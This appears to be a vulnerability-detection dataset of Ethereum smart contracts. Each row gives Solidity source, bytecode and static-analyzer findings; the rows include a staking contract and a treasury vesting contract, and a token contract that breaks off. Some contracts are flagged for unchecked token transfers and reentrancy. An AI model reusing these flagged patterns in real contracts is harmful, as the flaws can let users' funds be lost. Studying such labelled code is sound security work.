lastClaimedTime[msg.sender] = now;
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
// Admin cannot transfer out deposit tokens from this smart contract
// Admin can transfer out reward tokens from this address once adminClaimableTime has reached
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require(_tokenAddr != trustedDepositTokenAddress, "Admin cannot transfer out Deposit Tokens from this contract!");
require((_tokenAddr != trustedRewardTokenAddress) || (now > adminClaimableTime), "Admin cannot Transfer out Reward Tokens yet!");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806398896d10116100de578063ce86431211610097578063d7130e1411610071578063d7130e1414610746578063e178905a14610764578063f2fde38b14610782578063f3f91fa0146107c65761018e565b8063ce864312146106ec578063d1b965f31461070a578063d578ceab146107285761018e565b806398896d10146105b4578063b410fdaa1461060c578063b6b55f251461062a578063bec4de3f14610658578063c326bf4f14610676578063ca7e0835146106ce5761018e565b806346c648731161014b57806354f1c43f1161012557806354f1c43f146104865780636270cd18146104a45780636a395ccb146104fc5780638da5cb5b1461056a5761018e565b806346c64873146103f65780634e71d92d1461044e5780635312ea8e146104585761018e565b806305447d25146101935780630f1a6444146102f85780631cfa8021146103165780632e1a7d4d14610360578063308feec31461038e57806331a5dda1146103ac575b600080fd5b6101c9600480360360408110156101a957600080fd5b81019080803590602001909291908035906020019092919050505061081e565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156102185780820151818401526020810190506101fd565b50505050905001858103845288818151815260200191508051906020019060200280838360005b8381101561025a57808201518184015260208101905061023f565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561029c578082015181840152602081019050610281565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102de5780820151818401526020810190506102c3565b505050509050019850505050505050505060405180910390f35b610300610b37565b6040518082815260200191505060405180910390f35b61031e610b3d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61038c6004803603602081101561037657600080fd5b8101908080359060200190929190505050610b55565b005b610396611092565b6040518082815260200191505060405180910390f35b6103b46110a3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104386004803603602081101561040c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110bb565b6040518082815260200191505060405180910390f35b6104566110d3565b005b6104846004803603602081101561046e57600080fd5b81019080803590602001909291905050506110de565b005b61048e611656565b6040518082815260200191505060405180910390f35b6104e6600480360360208110156104ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061165c565b6040518082815260200191505060405180910390f35b6105686004803603606081101561051257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611674565b005b6105726118d3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105f6600480360360208110156105ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118f8565b6040518082815260200191505060405180910390f35b610614611acc565b6040518082815260200191505060405180910390f35b6106566004803603602081101561064057600080fd5b8101908080359060200190929190505050611ad2565b005b610660611dd7565b6040518082815260200191505060405180910390f35b6106b86004803603602081101561068c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ddf565b6040518082815260200191505060405180910390f35b6106d6611df7565b6040518082815260200191505060405180910390f35b6106f4611dfd565b6040518082815260200191505060405180910390f35b610712611e03565b6040518082815260200191505060405180910390f35b610730611e09565b6040518082815260200191505060405180910390f35b61074e611e0f565b6040518082815260200191505060405180910390f35b61076c611e15565b6040518082815260200191505060405180910390f35b6107c46004803603602081101561079857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e1b565b005b610808600480360360208110156107dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f6c565b6040518082815260200191505060405180910390f35b60608060608084861061083057600080fd5b60006108458787611fa090919063ffffffff16565b905060608167ffffffffffffffff8111801561086057600080fd5b5060405190808252806020026020018201604052801561088f5781602001602082028036833780820191505090505b50905060608267ffffffffffffffff811180156108ab57600080fd5b506040519080825280602002602001820160405280156108da5781602001602082028036833780820191505090505b50905060608367ffffffffffffffff811180156108f657600080fd5b506040519080825280602002602001820160405280156109255781602001602082028036833780820191505090505b50905060608467ffffffffffffffff8111801561094157600080fd5b506040519080825280602002602001820160405280156109705781602001602082028036833780820191505090505b50905060008b90505b8a811015610b1c57600061099782600a611fb790919063ffffffff16565b905060006109ae8e84611fa090919063ffffffff16565b9050818782815181106109bd57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610a4357fe5b602002602001018181525050600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610a9b57fe5b602002602001018181525050600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610af357fe5b6020026020010181815250505050610b15600182611f8490919063ffffffff16565b9050610979565b50838383839850985098509850505050505092959194509250565b60025481565b736b175474e89094c44da98b954eedeac495271d0f81565b60008111610bcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616e6e6f74207769746864726177203020546f6b656e73000000000000000081525060200191505060405180910390fd5b80600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b610c8933611fd1565b6000610cb4612710610ca66003548561229390919063ffffffff16565b6122c290919063ffffffff16565b90506000610ccb8284611fa090919063ffffffff16565b9050736b175474e89094c44da98b954eedeac495271d0f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d8957600080fd5b505af1158015610d9d573d6000803e3d6000fd5b505050506040513d6020811015610db357600080fd5b8101908080519060200190929190505050610e36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b736b175474e89094c44da98b954eedeac495271d0f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ed157600080fd5b505af1158015610ee5573d6000803e3d6000fd5b505050506040513d6020811015610efb57600080fd5b8101908080519060200190929190505050610f7e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610fd083600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fa090919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061102733600a6122db90919063ffffffff16565b801561107257506000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561108d5761108b33600a61230b90919063ffffffff16565b505b505050565b600061109e600a61233b565b905090565b73d18a8abed9274edbeace4b12d86a8633283435da81565b600d6020528060005260406000206000915090505481565b6110dc33611fd1565b565b60008111611154576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616e6e6f74207769746864726177203020546f6b656e73000000000000000081525060200191505060405180910390fd5b80600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611209576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b42600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061127861271061126a6003548561229390919063ffffffff16565b6122c290919063ffffffff16565b9050600061128f8284611fa090919063ffffffff16565b9050736b175474e89094c44da98b954eedeac495271d0f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561134d57600080fd5b505af1158015611361573d6000803e3d6000fd5b505050506040513d602081101561137757600080fd5b81019080805190602001909291905050506113fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b736b175474e89094c44da98b954eedeac495271d0f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561149557600080fd5b505af11580156114a9573d6000803e3d6000fd5b505050506040513d60208110156114bf57600080fd5b8101908080519060200190929190505050611542576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61159483600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fa090919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115eb33600a6122db90919063ffffffff16565b801561163657506000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156116515761164f33600a61230b90919063ffffffff16565b505b505050565b60075481565b600f6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116cd57600080fd5b736b175474e89094c44da98b954eedeac495271d0f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603c8152602001806125b2603c913960400191505060405180910390fd5b73d18a8abed9274edbeace4b12d86a8633283435da73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415806117b6575060085442115b61180b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806125ee602c913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561189257600080fd5b505af11580156118a6573d6000803e3d6000fd5b505050506040513d60208110156118bc57600080fd5b810190808051906020019092919050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061190e82600a6122db90919063ffffffff16565b61191b5760009050611ac7565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561196c5760009050611ac7565b6000804290506009548111156119825760095490505b80600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119d15760009150611a26565b611a23600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611fa090919063ffffffff16565b91505b6000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611abd612710611aaf6301e13380611aa188611a936001548961229390919063ffffffff16565b61229390919063ffffffff16565b6122c290919063ffffffff16565b6122c290919063ffffffff16565b9050809450505050505b919050565b60015481565b60008111611b48576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b736b175474e89094c44da98b954eedeac495271d0f73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611c1757600080fd5b505af1158015611c2b573d6000803e3d6000fd5b505050506040513d6020811015611c4157600080fd5b8101908080519060200190929190505050611cc4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611ccd33611fd1565b611d1f81600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8490919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7633600a6122db90919063ffffffff16565b611dd457611d8e33600a61235090919063ffffffff16565b5042600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b6301e1338081565b600c6020528060005260406000206000915090505481565b60085481565b60095481565b60035481565b60045481565b60065481565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e7457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611eae57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e6020528060005260406000206000915090505481565b600080828401905083811015611f9657fe5b8091505092915050565b600082821115611fac57fe5b818303905092915050565b6000611fc68360000183612380565b60001c905092915050565b6000611fdc826118f8565b9050600081111561224b5773d18a8abed9274edbeace4b12d86a8633283435da73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561208257600080fd5b505af1158015612096573d6000803e3d6000fd5b505050506040513d60208110156120ac57600080fd5b810190808051906020019092919050505061212f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61218181600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8490919063ffffffff16565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121d981600454611f8490919063ffffffff16565b6004819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600080828402905060008414806122b25750828482816122af57fe5b04145b6122b857fe5b8091505092915050565b6000808284816122ce57fe5b0490508091505092915050565b6000612303836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612403565b905092915050565b6000612333836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612426565b905092915050565b60006123498260000161250e565b9050919050565b6000612378836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61251f565b905092915050565b6000818360000180549050116123e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806125906022913960400191505060405180910390fd5b8260000182815481106123f057fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114612502576000600182039050600060018660000180549050039050600086600001828154811061247157fe5b906000526020600020015490508087600001848154811061248e57fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806124c657fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612508565b60009150505b92915050565b600081600001805490509050919050565b600061252b8383612403565b612584578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612589565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647341646d696e2063616e6e6f74207472616e73666572206f7574204465706f73697420546f6b656e732066726f6d207468697320636f6e74726163742141646d696e2063616e6e6f74205472616e73666572206f75742052657761726420546f6b656e732079657421a2646970667358221220e033d366a21e6ecfb527b0e7ecdb87b45a2926a092d196c1d2896d880bed394b64736f6c634300060b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,784 |
0xdc351121342d0d25c80203201386323c1dcc7365
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.16;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract TreasuryVester {
using SafeMath for uint;
address public bank;
address public recipient;
uint public vestingAmount;
uint public vestingBegin;
uint public vestingCliff;
uint public vestingEnd;
uint public lastUpdate;
constructor(
address bank_,
address recipient_,
uint vestingAmount_,
uint vestingBegin_,
uint vestingCliff_,
uint vestingEnd_
) public {
require(vestingBegin_ >= block.timestamp, 'TreasuryVester::constructor: vesting begin too early');
require(vestingCliff_ >= vestingBegin_, 'TreasuryVester::constructor: cliff is too early');
require(vestingEnd_ > vestingCliff_, 'TreasuryVester::constructor: end is too early');
bank = bank_;
recipient = recipient_;
vestingAmount = vestingAmount_;
vestingBegin = vestingBegin_;
vestingCliff = vestingCliff_;
vestingEnd = vestingEnd_;
lastUpdate = vestingBegin;
}
function setRecipient(address recipient_) public {
require(msg.sender == recipient, 'TreasuryVester::setRecipient: unauthorized');
recipient = recipient_;
}
function claim() public {
require(block.timestamp >= vestingCliff, 'TreasuryVester::claim: not time yet');
uint amount;
if (block.timestamp >= vestingEnd) {
amount = IBank(bank).balanceOf(address(this));
} else {
amount = vestingAmount.mul(block.timestamp - lastUpdate).div(vestingEnd - vestingBegin);
lastUpdate = block.timestamp;
}
IBank(bank).transfer(recipient, amount);
}
}
interface IBank {
function balanceOf(address account) external view returns (uint);
function transfer(address dst, uint rawAmount) external returns (bool);
}
|
0x608060405234801561001057600080fd5b50600436106100925760003560e01c806376cdb03b1161006657806376cdb03b1461010557806384a1931f1461010d578063c046371114610115578063e29bc68b1461011d578063f3640e741461012557610092565b8062728f76146100975780633bbed4a0146100b15780634e71d92d146100d957806366d003ac146100e1575b600080fd5b61009f61012d565b60408051918252519081900360200190f35b6100d7600480360360208110156100c757600080fd5b50356001600160a01b0316610133565b005b6100d761019e565b6100e9610329565b604080516001600160a01b039092168252519081900360200190f35b6100e9610338565b61009f610347565b61009f61034d565b61009f610353565b61009f610359565b60025481565b6001546001600160a01b0316331461017c5760405162461bcd60e51b815260040180806020018281038252602a8152602001806104a1602a913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6004544210156101df5760405162461bcd60e51b81526004018080602001828103825260238152602001806104ec6023913960400191505060405180910390fd5b6000600554421061026857600054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561023557600080fd5b505afa158015610249573d6000803e3d6000fd5b505050506040513d602081101561025f57600080fd5b5051905061029e565b6102976003546005540361028b600654420360025461035f90919063ffffffff16565b9063ffffffff6103c116565b4260065590505b600080546001546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051919092169263a9059cbb92604480820193602093909283900390910190829087803b1580156102fa57600080fd5b505af115801561030e573d6000803e3d6000fd5b505050506040513d602081101561032457600080fd5b505050565b6001546001600160a01b031681565b6000546001600160a01b031681565b60055481565b60065481565b60035481565b60045481565b60008261036e575060006103bb565b8282028284828161037b57fe5b04146103b85760405162461bcd60e51b81526004018080602001828103825260218152602001806104cb6021913960400191505060405180910390fd5b90505b92915050565b60006103b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361048a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561044f578181015183820152602001610437565b50505050905090810190601f16801561047c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161049657fe5b049594505050505056fe54726561737572795665737465723a3a736574526563697069656e743a20756e617574686f72697a6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7754726561737572795665737465723a3a636c61696d3a206e6f742074696d6520796574a2646970667358221220d407fc019e3754238634c46122acfdc663c7f8193a2584679e57e2cc2cdf669264736f6c634300060b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 8,785 |
0x6469d7574fafaf5690b95cde826915bbe375ecf7
|
/**
*Submitted for verification at Etherscan.io on 2021-04-23
*/
/**
*Submitted for verification at Etherscan.io on 2021-04-24
*/
// SPDX-License-Identifier: MIT license
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'Stephino-NFT' token contract
//
// Symbol : SNFT
// Name : Stephino-NFT
// Total supply: 10000000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
